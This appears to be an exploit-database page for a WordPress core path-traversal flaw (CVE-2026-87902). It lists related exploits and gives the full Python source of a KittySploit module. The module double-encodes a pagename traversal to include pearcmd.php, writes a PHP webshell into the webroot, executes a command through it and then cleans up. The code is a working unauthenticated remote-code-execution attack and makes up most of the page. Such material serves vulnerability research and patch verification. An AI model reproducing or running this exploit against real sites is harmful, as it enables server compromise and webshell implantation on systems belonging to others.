WordPress Core CVE-2026-87902 Page Template LFI/RCE
| Reporter | Title | Published | Views | Family All 92 |
|---|---|---|---|---|
| Exploit for CVE-2026-87902 | 25 Sep 202601:06 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 23 Sep 202602:44 | – | githubexploit | |
| Exploit for PHP Remote File Inclusion in Wordpress | 28 Sep 202617:11 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 25 Sep 202600:56 | – | githubexploit | |
| ProofCMS- | 29 Sep 202616:18 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 22 Sep 202618:13 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 22 Sep 202618:40 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 23 Sep 202611:03 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 24 Sep 202614:02 | – | githubexploit | |
| Exploit for CVE-2026-87902 | 23 Sep 202611:54 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Core CVE-2026-87902 pagename traversal to conditional RCE via pearcmd."""
from __future__ import annotations
import re
import secrets
from typing import Optional
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
class Module(Exploit, Http_client, Wordpress):
__info__ = {
"name": "WordPress Core CVE-2026-87902 Page Template LFI/RCE",
"description": (
"Exploits CVE-2026-87902 when the active theme contains a page-* directory "
"and pearcmd.php is readable with register_argc_argv enabled. Stage 1 uses "
"double-encoded pagename traversal to include pearcmd and write a webroot "
"marker; stage 2 executes verify_cmd through the dropped PHP file."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2026-87902"],
"platform": Platform.PHP,
"arch": [Arch.PHP, Arch.CMD],
"payload": {
"default": "nopayload",
},
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-87902",
"https://wordpress.org/news/2026/09/wordpress-7-1-2-security-release/",
],
"tags": [
"wordpress",
"wp-core",
"path-traversal",
"lfi",
"pearcmd",
"unauthenticated",
"rce",
"cve-2026-87902",
],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 5,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals", "rce"],
"requires": {
"tech_hints_any": ["wordpress"],
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": "pearcmd config-create chain"},
],
"suggested_followups": [
"scanner/http/wordpress_cve_2026_87902_detect",
],
},
},
}
page_id = OptInteger(0, "Existing WordPress page ID (0 = auto-discover)", False)
pearcmd_path = OptString(
"/usr/local/lib/php/pearcmd.php",
"Local pearcmd.php path on target",
False,
)
shell_name = OptString("", "Webshell filename in webroot (random if empty)", False, advanced=True)
verify_cmd = OptString("id", "Command executed through the dropped PHP shell", False)
cleanup = OptBool(True, "Attempt to delete the dropped webshell after verification", False, advanced=True)
_PAGE_ID_RE = re.compile(r"(?:\?|&)(?:page_id|p)=(\d+)")
def _wp_base(self) -> str:
return self.wp_normalize_base_path(getattr(self, "path", "/"))
def _discover_page_id(self) -> int:
if int(self.page_id or 0) > 0:
return int(self.page_id)
response = self.http_request(method="GET", path=f"{self._wp_base()}/", allow_redirects=True)
body = (response.text or "") if response else ""
match = self._PAGE_ID_RE.search(body)
return int(match.group(1)) if match else 1
def _pagename_param(self) -> str:
pear = str(self.pearcmd_path or "/usr/local/lib/php/pearcmd.php").lstrip("/")
if pear.endswith(".php"):
pear = pear[:-4]
inner = f"templates/../../{pear}"
return quote(quote(inner, safe=""), safe="")
def _write_shell(self, page: int, shell: str) -> bool:
webroot_shell = f"/var/www/html/{shell.lstrip('/')}"
pagename = self._pagename_param()
argv = quote(f"+config-create+/+{webroot_shell}", safe="")
path = f"{self._wp_base()}/?page_id={page}&pagename={pagename}&{argv}"
response = self.http_request(method="GET", path=path, allow_redirects=True)
return bool(response and int(response.status_code or 0) in (200, 500))
def _exec_shell(self, shell: str, command: str) -> Optional[str]:
marker = secrets.token_hex(4)
path = f"{self._wp_base()}/{shell.lstrip('/')}?{marker}={quote(command)}"
response = self.http_request(method="GET", path=path, allow_redirects=True)
if not response or int(response.status_code or 0) != 200:
return None
return response.text or ""
def run(self):
page = self._discover_page_id()
shell = str(self.shell_name or "").strip() or f".kitty-{secrets.token_hex(4)}.php"
command = str(self.verify_cmd or "id").strip()
if not self._write_shell(page, shell):
print_error("Pearcmd include / config-create stage did not complete")
return False
output = self._exec_shell(shell, command)
if output and ("uid=" in output or command in output):
self.set_info(
severity="critical",
reason="WordPress CVE-2026-87902 pearcmd chain executed",
shell=shell,
page_id=page,
output=output[:500],
)
if bool(self.cleanup):
self._exec_shell(shell, f"rm -f /var/www/html/{shell.lstrip('/')}")
return True
print_error("Webshell execution did not return expected command output")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Sep 2026 10:07Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.1
EPSS0.39979
SSVC